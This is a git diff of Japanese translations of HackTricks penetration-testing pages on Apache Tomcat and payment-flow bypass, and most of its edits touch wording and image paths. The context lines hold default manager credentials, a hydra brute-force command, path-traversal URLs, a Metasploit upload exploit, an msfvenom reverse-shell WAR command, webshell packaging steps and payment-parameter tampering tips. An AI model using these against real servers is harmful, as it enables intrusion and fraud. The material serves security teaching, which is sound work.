これらの関数には、リクエストで任意のヘッダーを設定する他の方法があるかもしれません。 これらの関数には、リクエストで任意のヘッダーを設定する他の方法があるかもしれません。
@ -70,19 +70,21 @@ $file = file_get_contents($url, false, $context);
``` ```
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expertを使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**する
</details>

View file

@ -5,16 +5,16 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -47,7 +47,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **デフォルトの資格情報** ### **デフォルトの資格情報**
**`/manager/html`** ディレクトリはWAR ファイルのアップロードと展開を許可するため、コードの実行につながる可能性があり、特に機密性が高いです。このディレクトリは基本的なHTTP認証で保護されており、一般的な資格情報は以下の通りです: **`/manager/html`** ディレクトリはWAR ファイルのアップロードと展開を許可するため、コードの実行につながる可能性があるため、特に重要です。このディレクトリは基本的なHTTP認証で保護されており、一般的な資格情報は次のとおりです:
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -72,19 +72,19 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
### **一般的な脆弱性** ### **一般的な脆弱性**
### **パスワードバックトレース開示** ### **パスワードバックトレース開示**
`/auth.jsp` にアクセスすると、幸運な状況下でバックトレースにパスワードが表示される可能性があります。 `/auth.jsp` にアクセスすると、幸運な状況下でバックトレースにパスワードが表示される可能性があります。
### **ダブルURLエンコーディング** ### **ダブルURLエンコーディング**
`mod_jk` CVE-2007-1860 脆弱性により、ダブルURLエンコーディングパス遍歴が可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能となります。 `mod_jk` のCVE-2007-1860脆弱性により、ダブルURLエンコーディングパストラバーサルが可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能となります。
Tomcatの管理ウェブにアクセスするには、`pathTomcat/%252E%252E/manager/html` に移動します。 Tomcatの管理ウェブにアクセスするには、`pathTomcat/%252E%252E/manager/html` に移動します。
### /examples ### /examples
Apache Tomcat バージョン 4.x から 7.x には、情報開示やクロスサイトスクリプティングXSS攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限のないアクセスや潜在的な悪用をチェックするために、包括的にリストされています。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) Apache Tomcat バージョン4.xから7.xには、情報開示やクロスサイトスクリプティングXSS攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限なしでのアクセスや潜在的な悪用をチェックする必要があります。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -109,21 +109,21 @@ Apache Tomcat バージョン 4.x から 7.x には、情報開示やクロス
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **パス遍歴の悪用** ### **パストラバーサルの悪用**
一部の[Tomcatの脆弱な構成](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、`/..;/` のパスを使用してTomcatの保護されたディレクトリにアクセスできます。 一部の[Tomcatの脆弱な構成](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、`/..;/` のパスを使用してTomcatの保護されたディレクトリにアクセスできます。
したがって、例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、**Tomcatマネージャ**ページにアクセスできるかもしれません。 例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、Tomcatマネージャーページにアクセスできるかもしれません。
このトリックを使用して保護されたパスをバイパスする**別の方法**は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。 このトリックを使用して保護されたパスをバイパスする別の方法は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。
## RCE ## RCE
最後に、Tomcat Webアプリケーションマネージャにアクセスできる場合、**.warファイルをアップロードして展開コードを実行**できます。 最後に、Tomcat Webアプリケーションマネージャーにアクセスできる場合、`.war` ファイルをアップロードして展開し、コードを実行できます。
### 制限事項 ### 制限事項
WARを展開できるのは、**十分な権限(ロール:**admin**、**manager**、**manager-script**)を持っている場合に限ります。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST ](tomcat.md#post)セクションを参照)。 WARを展開できるのは、**十分な権限(admin、manager、manager-scriptの役割**を持っている場合のみです。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST ](tomcat.md#post)セクションを参照)。
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -146,11 +146,11 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### MSFVenom逆シェル ### MSFVenom逆シェル
1. デプロイするwarを作成します 1. デプロイするwarファイルを作成します:
```bash ```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
### `revshell.war`ファイルをアップロードし、それにアクセスします (`/revshell/`): 2. `revshell.war`ファイルをアップロードし、それにアクセスします (`/revshell/`):
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル ### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル
@ -205,7 +205,7 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
### 手動方法2 ### マニュアル方法2
JSPウェブシェル[こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)を取得し、WARファイルを作成します。 JSPウェブシェル[こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)を取得し、WARファイルを作成します。
```bash ```bash
@ -236,18 +236,18 @@ msf> use post/windows/gather/enum_tomcat
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れま
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングトリックを共有する、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertAWSハッキングをゼロからヒーローまで学びましょう!</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -56,7 +56,7 @@ Tomcatをrootで実行しないようにするための非常に一般的な構
* `logs`および`temp`フォルダには一時的なログファイルが保存されています。 * `logs`および`temp`フォルダには一時的なログファイルが保存されています。
* `webapps`フォルダはTomcatのデフォルトのWebルートであり、すべてのアプリケーションがホストされています。`work`フォルダはキャッシュとして機能し、ランタイム中にデータを保存するために使用されます。 * `webapps`フォルダはTomcatのデフォルトのWebルートであり、すべてのアプリケーションがホストされています。`work`フォルダはキャッシュとして機能し、ランタイム中にデータを保存するために使用されます。
`webapps`内の各フォルダには、以下の構造が期待されています。 `webapps`内の各フォルダには、の構造が期待されています。
``` ```
webapps/customapp webapps/customapp
├── images ├── images
@ -74,7 +74,7 @@ webapps/customapp
└── AdminServlet.class └── AdminServlet.class
``` ```
最も重要なファイルの1つは`WEB-INF/web.xml`で、デプロイメント記述子として知られています。このファイルには、アプリケーションで使用される**ルートに関する情報**やこれらのルートを処理するクラスに関する情報が格納されています。\ 最も重要なファイルの1つは`WEB-INF/web.xml`で、デプロイメント記述子として知られています。このファイルには、アプリケーションで使用される**ルートに関する情報**やこれらのルートを処理するクラスに関する情報が格納されています。\
アプリケーションで使用されるすべてのコンパイルされたクラスは`WEB-INF/classes`フォルダに保存する必要があります。これらのクラスには重要なビジネスロジックや機密情報が含まれている可能性があります。これらのファイルにおける脆弱性は、ウェブサイトの完全な侵害につながる可能性があります。`lib`フォルダには、その特定のアプリケーションに必要なライブラリが保存されています。`jsp`フォルダには、[Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages)(以前は`JavaServer Pages`として知られていましたが保存されており、Apacheサーバー上のPHPファイルに比較できます。 アプリケーションで使用されるすべてのコンパイルされたクラスは`WEB-INF/classes`フォルダに保存する必要があります。これらのクラスには重要なビジネスロジックや機密情報が含まれている可能性があります。これらのファイルにおける脆弱性は、ウェブサイト全体の侵害につながる可能性があります。`lib`フォルダには、その特定のアプリケーションに必要なライブラリが保存されています。`jsp`フォルダには、[Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages)(以前は`JavaServer Pages`として知られていましたが保存されており、Apacheサーバー上のPHPファイルに比較できます。
以下は**web.xml**ファイルの例です。 以下は**web.xml**ファイルの例です。
```xml ```xml
@ -99,11 +99,11 @@ webapps/customapp
- **`classes/com/inlanefreight/api/AdminServlet.class`** - **`classes/com/inlanefreight/api/AdminServlet.class`**
次に、**`/admin`へのリクエストを`AdminServlet`にマッピング**する新しいサーブレットマッピングが作成されます。この構成により、**`/admin`への受信リクエストは`AdminServlet.class`**クラスに処理されます。**`web.xml`**記述子には多くの**機密情報**が含まれており、**ローカルファイルインクルージョンLFI脆弱性**を利用する際にチェックする重要なファイルです。 次に、**`/admin`へのリクエストを`AdminServlet`にマッピング**する新しいサーブレットマッピングが作成されます。この構成により、**`/admin`への受信リクエストは`AdminServlet.class`**クラスに送信され、処理されます。**`web.xml`**記述子には多くの**機密情報**が含まれており、**ローカルファイルインクルージョンLFI脆弱性**を利用する際にチェックする重要なファイルです。
### tomcat-users ### tomcat-users
**`tomcat-users.xml`**ファイルは、**`/manager`および`host-manager`管理ページ**へのアクセスを許可または拒否するために使用されます。 **`tomcat-users.xml`**ファイルは、**`/manager`および`host-manager`管理ページ**へのアクセスを**許可**または拒否するために使用されます。
``` ```
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
@ -145,7 +145,7 @@ will also need to set the passwords to something appropriate.
</tomcat-users> </tomcat-users>
``` ```
ファイルには、`manager-gui`、`manager-script`、`manager-jmx`、`manager-status` のそれぞれがアクセス権を提供する内容が示されています。この例では、パスワードが `tomcat` のユーザー `tomcat``manager-gui` ロールを持ち、2番目の弱いパスワード `admin` がユーザーアカウント `admin` に設定されています。 ファイルには、`manager-gui`、`manager-script`、`manager-jmx`、`manager-status` の各ロールがどのようなアクセス権を提供するかが示されています。この例では、パスワードが `tomcat` であるユーザー `tomcat``manager-gui` ロールを持っており、2番目の弱いパスワード `admin` がユーザーアカウント `admin` に設定されています。
## 参考文献 ## 参考文献
@ -153,7 +153,7 @@ will also need to set the passwords to something appropriate.
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -161,10 +161,10 @@ will also need to set the passwords to something appropriate.
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> でゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> でゼロからヒーローまでAWSハッキングを学びましょう</summary>
* **サイバーセキュリティ企業で働いていますか? HackTricks で** **会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)**をチェックしてください!** * **サイバーセキュリティ企業で働いていますか? HackTricks で** 会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* **[The PEASS Family](https://opensea.io/collection/the-peass-family)**、私たちの独占的な**NFT**コレクションを発見してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* **[公式PEASSHackTricks swag](https://peass.creator-spring.com)を手に入れましょう** * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com) を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** * **[💬](https://emojipedia.org/speech-balloon/) Discord グループ** に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud) に PR を提出してください。**
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,49 +25,49 @@ HackTricksをサポートする他の方法
## 支払いバイパステクニック ## 支払いバイパステクニック
### リクエストの傍受 ### リクエストの傍受
取引プロセス中に、クライアントとサーバー間で交換されるデータを監視することが重要です。これはすべてのリクエストを傍受することで行うことができます。これらのリクエストの中で、次のような重要な影響を持つパラメータに注意してください 取引プロセス中に、クライアントとサーバー間で交換されるデータを監視することが重要です。これはすべてのリクエストを傍受することで行うことができます。これらのリクエストの中で、次のような重要な影響を持つパラメータに注意してください:
- **Success**このパラメータは、取引の状態を示すことがよくあります。 - **Success**: このパラメータは、取引の状態を示すことがよくあります。
- **Referrer**リクエストの元のソースを指すことがあります。 - **Referrer**: リクエストの元のソースを指すことがあります。
- **Callback**これは通常、取引が完了した後にユーザーをリダイレクトするために使用されます。 - **Callback**: これは通常、取引が完了した後にユーザーをリダイレクトするために使用されます。
### URLの分析 ### URLの分析
特に _example.com/payment/MD5HASH_ のパターンに従うURLを含むパラメータに遭遇した場合、これを詳しく調べる必要があります。以下はステップバイステップのアプローチです 特に _example.com/payment/MD5HASH_ のパターンに従うURLを含むパラメータに遭遇した場合、これを詳しく調べる必要があります。以下はステップバイステップのアプローチです:
1. **URLをコピー**パラメータ値からURLを抽出します。 1. **URLをコピー**: パラメータ値からURLを抽出します。
2. **新しいウィンドウでの検査**コピーしたURLを新しいブラウザウィンドウで開きます。このアクションは、取引の結果を理解するために重要です。 2. **新しいウィンドウで検査**: コピーしたURLを新しいブラウザウィンドウで開きます。このアクションは、取引の結果を理解するために重要です。
### パラメータの操作 ### パラメータの操作
1. **パラメータの値を変更** _Success_、_Referrer_、または _Callback_ などのパラメータの値を変更して実験してみてください。たとえば、パラメータを `false` から `true` に変更すると、システムがこれらの入力をどのように処理するかがわかることがあります。 1. **パラメータの値を変更**: _Success_、_Referrer_、または _Callback_ などのパラメータの値を変更して実験してみてください。たとえば、パラメータを `false` から `true` に変更すると、システムがこれらの入力をどのように処理するかがわかることがあります。
2. **パラメータを削除**特定のパラメータを完全に削除して、システムがどのように反応するかを確認してください。期待されるパラメータが欠落している場合、一部のシステムにはフォールバックやデフォルトの動作があるかもしれません。 2. **パラメータを削除**: 特定のパラメータを完全に削除して、システムがどのように反応するかを確認してみてください。期待されるパラメータが欠落している場合、一部のシステムにはフォールバックやデフォルトの動作があるかもしれません。
### クッキーの改ざん ### Cookieの改ざん
1. **クッキーを調査**:多くのウェブサイトは重要な情報をクッキーに保存しています。これらのクッキーを支払い状況やユーザー認証に関連するデータを調査してください。 1. **Cookieの検査**: 多くのウェブサイトは重要な情報をCookieに保存しています。これらのCookieを支払い状況やユーザー認証に関連するデータで調査してください。
2. **クッキーの値を変更**:クッキーに保存されている値を変更し、ウェブサイトの応答や動作がどのように変化するかを観察してください。 2. **Cookieの値を変更**: Cookieに保存されている値を変更し、ウェブサイトの応答や動作がどのように変化するかを観察してください。
### セッションハイジャック ### セッションハイジャック
1. **セッショントークン**支払いプロセスでセッショントークンが使用されている場合、それらをキャプチャして操作してみてください。これにより、セッション管理の脆弱性についての洞察が得られるかもしれません。 1. **セッショントークン**: 支払いプロセスでセッショントークンが使用されている場合、それらをキャプチャして操作してみてください。これにより、セッション管理の脆弱性についての洞察が得られるかもしれません。
### レスポンスの改ざん ### レスポンスの改ざん
1. **レスポンスの傍受**ツールを使用してサーバーからのレスポンスを傍受して分析します。成功した取引を示す可能性のあるデータや支払いプロセスの次のステップを明らかにするデータを探してください。 1. **レスポンスの傍受**: ツールを使用してサーバーからのレスポンスを傍受して分析します。成功した取引を示す可能性のあるデータや支払いプロセスの次のステップを示す可能性のあるデータを探してください。
2. **レスポンスの変更**ブラウザやアプリケーションに処理される前に、レスポンスを変更して成功した取引シナリオをシミュレートしてみてください。 2. **レスポンスの変更**: ブラウザやアプリケーションに処理される前に、レスポンスを変更して成功した取引シナリオをシミュレートしてみてください。
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
